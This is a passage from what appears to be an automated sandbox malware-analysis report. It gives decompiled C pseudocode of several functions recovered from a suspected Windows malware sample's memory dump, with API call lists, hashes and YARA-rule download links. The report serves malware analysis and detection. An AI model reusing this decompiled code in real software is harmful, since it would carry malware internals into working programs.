					E01739039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E0173A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x173d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x017317d5
0x017317de
0x017317e5
0x017317ea
0x01731857
0x0173185d
0x01731862
0x0173186b
0x01731872
0x01731875
0x017319e9
0x017319f0
0x017319f0
0x017319f5
0x017319f7
0x017319f7
0x01731a00
0x01731a00
0x0173187b
0x01731887
0x017319df
0x017319e2
0x00000000
0x017319e2
0x0173188d
0x01731892
0x0173189b
0x017318a2
0x017318a5
0x017318ef
0x017318ef
0x01731902
0x0173190c
0x01731914
0x01731919
0x01731923
0x01731923
0x0173191b
0x0173191b
0x0173191b
0x0173191b
0x01731945
0x0173194d
0x0173197b
0x01731980
0x01731989
0x0173198e
0x01731992
0x017319c4
0x01731994
0x017319a1
0x017319a4
0x017319b4
0x017319b7
0x017319bd
0x017319bd
0x0173194f
0x0173195c
0x0173195f
0x01731971
0x01731974
0x01731974
0x017319ce
0x017319da
0x017319d0
0x017319d3
0x017319d3
0x017319ce
0x01731945
0x00000000
0x0173190c
0x017318b4
0x017318be
0x017318c0
0x017318c5
0x017318c9
0x017318cb
0x017318d6
0x017318d9
0x017318d9
0x017318df
0x017318e4
0x017318e4
0x017318ea
0x00000000
0x017318ea
0x017317ef
0x00000000
0x01731816
0x01731816
0x01731822
0x01731835
0x0173183b
0x01731843
0x00000000
0x01731843

APIs

StrChrA.SHLWAPI(01733C81,0000005F,00000000,00000000,00000104), ref: 01731808
lstrcpy.KERNEL32(?,?), ref: 01731835

Part of subcall function 0173809F: lstrlen.KERNEL32(?,00000000,0173D330,00000001,01732200,0173D00C,0173D00C,00000000,00000005,00000000,00000000,?,?,?,017396C1,017323E9), ref: 017380A8
Part of subcall function 0173809F: mbstowcs.NTDLL ref: 017380CF
Part of subcall function 0173809F: memset.NTDLL ref: 017380E1

Part of subcall function 01732659: lstrlenW.KERNEL32(01733C81,?,?,017319A9,3D0173C0,80000002,01733C81,01738B1E,74666F53,4D4C4B48,01738B1E,?,3D0173C0,80000002,01733C81,?), ref: 01732679

Part of subcall function 01739039: HeapFree.KERNEL32(00000000,00000000,01737F18,00000000,?,?,00000000), ref: 01739045

lstrcpy.KERNEL32(?,00000000), ref: 01731857

Strings

\, xrefs: 0173183B

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: a9c8eb56706295e52dcd3dc7a8b45a665b0c2687f5c00a08b4b8cc749c7b0dc6
Instruction ID: dbb758992791b59060641ba3c5d0ddd311f94cf015ec6cf1c53cd2ba37edd05a
Opcode Fuzzy Hash: a9c8eb56706295e52dcd3dc7a8b45a665b0c2687f5c00a08b4b8cc749c7b0dc6
Instruction Fuzzy Hash: A651AD7250020AFFDF229FA4CD48EEABBBAEF98314F408515FA5592126D732DD25DB10

Uniqueness

Uniqueness Score: -1.00%

Function 017352F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E017352F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x173d27c; // 0x268a5a8
					_t5 = _t102 + 0x173e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x173c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x173d27c; // 0x268a5a8
												_t28 = _t108 + 0x173e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x173d27c; // 0x268a5a8
														_t33 = _t78 + 0x173e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x017352fe
0x01735307
0x01735308
0x0173530c
0x01735312
0x01735318
0x01735321
0x01735327
0x01735331
0x01735333
0x01735339
0x0173533e
0x01735349
0x01735351
0x01735354
0x01735477
0x0173535a
0x0173535a
0x01735367
0x0173536d
0x01735373
0x01735377
0x0173537d
0x0173538a
0x0173538e
0x01735394
0x01735397
0x0173539d
0x017353a3
0x017353a9
0x017353ac
0x017353af
0x017353b5
0x017353be
0x017353c4
0x017353c5
0x017353c8
0x017353c9
0x017353ca
0x017353d2
0x017353d3
0x017353d4
0x017353d6
0x017353da
0x017353de
0x00000000
0x00000000
0x017353e4
0x017353ed
0x017353f3
0x017353fd
0x01735401
0x01735403
0x01735410
0x01735414
0x0173541c
0x01735421
0x01735433
0x01735435
0x0173543b
0x0173543b
0x01735444
0x01735444
0x01735446
0x0173544c
0x0173544c
0x0173544f
0x01735455
0x01735458
0x01735461
0x00000000
0x00000000
0x00000000
0x01735461
0x017353b5
0x017353af
0x01735397
0x01735467
0x01735467
0x0173546d
0x0173546d
0x01735473
0x01735473
0x0173547c
0x01735482
0x01735482
0x0173533e
0x0173548b

APIs

SysAllocString.OLEAUT32(0173C2B0), ref: 01735349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0173542B
SysFreeString.OLEAUT32(00000000), ref: 01735444
SysFreeString.OLEAUT32(?), ref: 01735473

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 47d74d2730f50fa95c52c5d0b156b216c96d740fc4981f28c191aaa803bc693a
Instruction ID: 940689f7166c7980a45665d05c86e7157f185aac04790e412295d81d159f859d
Opcode Fuzzy Hash: 47d74d2730f50fa95c52c5d0b156b216c96d740fc4981f28c191aaa803bc693a
Instruction Fuzzy Hash: 30517E71E0051AEFCB15DFE8C8888AEF7B9EF88705B148588E915EB215D7319D01CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01731017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E01731017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E0173A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E0173968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E01738967(_t101,  &_v236, _a8, _t96 - _t81);
					E01738967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E0173968F(_t101, 0x173d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E0173968F(_a16, _a4);
						E01731D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0173B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0173B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E01731FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E01738B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E01739100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x173d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x0173101a
0x01731026
0x0173102c
0x01731031
0x01731035
0x01731192
0x01731196
0x01731196
0x0173103b
0x0173103f
0x01731045
0x01731046
0x01731051
0x01731057
0x0173105c
0x0173105f
0x01731079
0x01731085
0x0173108e
0x01731098
0x0173109d
0x0173109f
0x017310a2
0x01731150
0x01731156
0x01731167
0x0173117a
0x0173118a
0x00000000
0x0173118f
0x017310ab
0x017310b2
0x017310b6
0x017310bc
0x017310be
0x017310c0
0x017310c2
0x017310c4
0x017310ce
0x017310d3
0x017310d5
0x017310d7
0x017310d8
0x017310d9
0x017310da
0x017310e1
0x017310e8
0x017310eb
0x017310eb
0x017310b8
0x017310b8
0x017310b8
0x017310f3
0x017310fb
0x01731104
0x01731109
0x01731109
0x0173110e
0x00000000
0x00000000
0x01731110
0x01731113
0x0173111d
0x00000000
0x00000000
0x0173111f
0x0173111f
0x01731129
0x01731109
0x0173110e
0x00000000
0x00000000
0x00000000
0x0173110e
0x01731133
0x01731136
0x01731139
0x01731140
0x01731140
0x0173114d
0x00000000
0x0173114d
0x01731048
0x0173104c
0x0173104d
0x0173104f
0x00000000
0x00000000
0x00000000
0x0173104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 017310C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 017310DA
memset.NTDLL ref: 0173117A
memset.NTDLL ref: 0173118A

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 1c5ba81ffbd66b27ac568fbea28c690e31d8f259a2421375e3b077ce5eca68db
Instruction ID: b761b230c5a62546e42b26d71ee5b452cf7e4adbcee22d387a19afdcf83e32f9
Opcode Fuzzy Hash: 1c5ba81ffbd66b27ac568fbea28c690e31d8f259a2421375e3b077ce5eca68db
Instruction Fuzzy Hash: E241B471A0024AABDB10DFA8CC84BEEF779EFD4310F508529F916A7286DB709D54CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0173A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,75144D40), ref: 0173A9BD

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

ResetEvent.KERNEL32(?), ref: 0173AA31
GetLastError.KERNEL32 ref: 0173AA54
GetLastError.KERNEL32 ref: 0173AAFF

Part of subcall function 01739039: HeapFree.KERNEL32(00000000,00000000,01737F18,00000000,?,?,00000000), ref: 01739045

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: f679b6f6ea0477098f7e25ba3dd92010f4483868a9c13512df53238cbe21a78e
Instruction ID: f72719f91bbb0a715578f3d0bc5c947f9b8539d23b3e0038823858238065a233
Opcode Fuzzy Hash: f679b6f6ea0477098f7e25ba3dd92010f4483868a9c13512df53238cbe21a78e
Instruction Fuzzy Hash: 6B418172500205BBD7319FA5DD89E6BFFBDEF85711F00492AF282E2095E7719A45CB20

Uniqueness

Uniqueness Score: -1.00%

Function 017339BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E017339BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x173d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x173d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E01732049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x173d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E01739039(_v16);
							if(_t58 == 0) {
								_t58 = E01737A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E01731C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E01731C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x017339bf
0x017339ce
0x017339d3
0x017339d5
0x017339da
0x017339db
0x017339e0
0x017339e1
0x017339ec
0x01733a1d
0x01733a22
0x01733ae5
0x01733ae8
0x01733aee
0x01733aee
0x01733a2f
0x01733a37
0x01733ae2
0x00000000
0x01733ae2
0x01733a42
0x01733a49
0x01733a4c
0x01733ad4
0x01733ad5
0x01733ad5
0x01733adb
0x00000000
0x01733adb
0x01733a52
0x01733a54
0x01733a5a
0x01733a5b
0x01733a5b
0x01733a5e
0x01733a61
0x01733a67
0x01733a6c
0x01733a6d
0x01733a72
0x01733a75
0x01733a80
0x00000000
0x00000000
0x01733a88
0x01733a90
0x01733ab9
0x01733abc
0x01733ac3
0x01733ace
0x01733ace
0x00000000
0x01733ac3
0x01733a9c
0x01733aa0
0x00000000
0x00000000
0x01733aa2
0x01733aa7
0x00000000
0x00000000
0x01733aa9
0x01733aa9
0x01733aae
0x00000000
0x00000000
0x01733ab0
0x01733ab1
0x01733ab4
0x01733ab4
0x01733a5b
0x017339f4
0x017339fc
0x01733a15
0x01733a17
0x00000000
0x00000000
0x00000000
0x01733a17
0x01733a08
0x01733a0c
0x00000000
0x00000000
0x01733a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 017339D5
GetLastError.KERNEL32 ref: 017339EE

Part of subcall function 01731C47: WaitForMultipleObjects.KERNEL32(00000002,0173AA72,00000000,0173AA72,?,?,?,0173AA72,0000EA60), ref: 01731C62

ResetEvent.KERNEL32(?), ref: 01733A67
GetLastError.KERNEL32 ref: 01733A82

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: a0f14003e98d864a42f98e990f5dedbe3c5ac4ee3d690b23ae50e006e420df3a
Instruction ID: 6189b74ee36b70e872338e646b60d5b912860919b3632ed9cc43f018055b1151
Opcode Fuzzy Hash: a0f14003e98d864a42f98e990f5dedbe3c5ac4ee3d690b23ae50e006e420df3a
Instruction Fuzzy Hash: 7931A232A00604ABDB32DBA8CC44A6EF7B9BFC4261F104569F555A7192EB71EA468B10

Uniqueness

Uniqueness Score: -1.00%

Function 017342EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E017342EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x173d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x173d27c; // 0x268a5a8
				_t3 = _t8 + 0x173e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E01737A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x173d2a8, 1, 0, _t30);
					E01739039(_t30);
				}
				_t12 =  *0x173d25c; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0173757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E0173205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x173d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E0173A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x017342eb
0x017342f2
0x017342fc
0x01734300
0x01734306
0x01734315
0x0173431c
0x01734320
0x01734332
0x01734334
0x01734334
0x01734339
0x01734340
0x01734395
0x01734395
0x0173439b
0x0173439d
0x0173439d
0x017343a7
0x017343ab
0x017343bd
0x017343bd
0x017343c1
0x017343c7
0x017343c7
0x00000000
0x01734359
0x0173435e
0x01734366
0x01734368
0x0173436c
0x0173436c
0x01734379
0x0173437d
0x01734381
0x017343d6
0x017343dc
0x017343dc
0x0173438f
0x01734393
0x017343ca
0x017343cc
0x017343cf
0x017343cf
0x00000000
0x017343cc
0x01734393
0x00000000
0x0173437d

APIs

Part of subcall function 01737A9A: lstrlen.KERNEL32(017323E9,00000000,00000000,00000027,00000005,00000000,00000000,017396DA,74666F53,00000000,017323E9,0173D00C,?,017323E9), ref: 01737AD0
Part of subcall function 01737A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 01737AF4
Part of subcall function 01737A9A: lstrcat.KERNEL32(00000000,00000000), ref: 01737AFC

CreateEventA.KERNEL32(0173D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,01733CA0,?,00000001,?), ref: 0173432B

Part of subcall function 01739039: HeapFree.KERNEL32(00000000,00000000,01737F18,00000000,?,?,00000000), ref: 01739045

WaitForSingleObject.KERNEL32(00000000,00004E20,01733CA0,00000000,00000000,?,00000000,?,01733CA0,?,00000001,?,?,?,?,01736880), ref: 01734389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,01733CA0,?,00000001,?), ref: 017343B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,01733CA0,?,00000001,?,?,?,?,01736880), ref: 017343CF

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 97f0bba820326a5cff4e7ae0ab0309fde1b586510691ffb9d559cbc3af9858fd
Instruction ID: a0d9862f9bbdb7c28569779a18ef2f0ea83779bf9e21552651dcfe5408215b80
Opcode Fuzzy Hash: 97f0bba820326a5cff4e7ae0ab0309fde1b586510691ffb9d559cbc3af9858fd
Instruction Fuzzy Hash: 6E2126725002529BD7365EAC9C88B6BF7A9EFC8721F154215FA53FB147DB71C8018790

Uniqueness

Uniqueness Score: -1.00%

Function 0173A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0173A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x173d144; // 0x173ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E01732049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E01739039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E01731C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x0173a0b2
0x0173a0b2
0x0173a0bc
0x0173a0c2
0x0173a0c5
0x0173a0c9
0x0173a0d1
0x0173a0d4
0x0173a0ed
0x0173a0f0
0x0173a0f4
0x0173a0f8
0x0173a0f9
0x0173a0fe
0x0173a101
0x0173a108
0x0173a10f
0x0173a162
0x0173a16b
0x0173a16e
0x0173a1a9
0x0173a1af
0x00000000
0x00000000
0x00000000
0x0173a16e
0x0173a115
0x00000000
0x0173a11c
0x0173a12a
0x0173a12d
0x0173a130
0x0173a13c
0x0173a140
0x0173a1a2
0x0173a142
0x0173a145
0x0173a149
0x0173a14a
0x0173a14b
0x0173a14d
0x0173a154
0x0173a192
0x0173a19d
0x0173a156
0x0173a159
0x0173a15d
0x0173a15d
0x0173a154
0x00000000
0x0173a140
0x0173a115
0x0173a0d9
0x0173a0df
0x0173a0e4
0x0173a0e7
0x00000000
0x00000000
0x00000000
0x0173a177
0x0173a17f
0x0173a186
0x0173a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 0173A0C9
SetEvent.KERNEL32(?), ref: 0173A0D9
GetLastError.KERNEL32 ref: 0173A162

Part of subcall function 01731C47: WaitForMultipleObjects.KERNEL32(00000002,0173AA72,00000000,0173AA72,?,?,?,0173AA72,0000EA60), ref: 01731C62

Part of subcall function 01739039: HeapFree.KERNEL32(00000000,00000000,01737F18,00000000,?,?,00000000), ref: 01739045

GetLastError.KERNEL32(00000000), ref: 0173A197

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
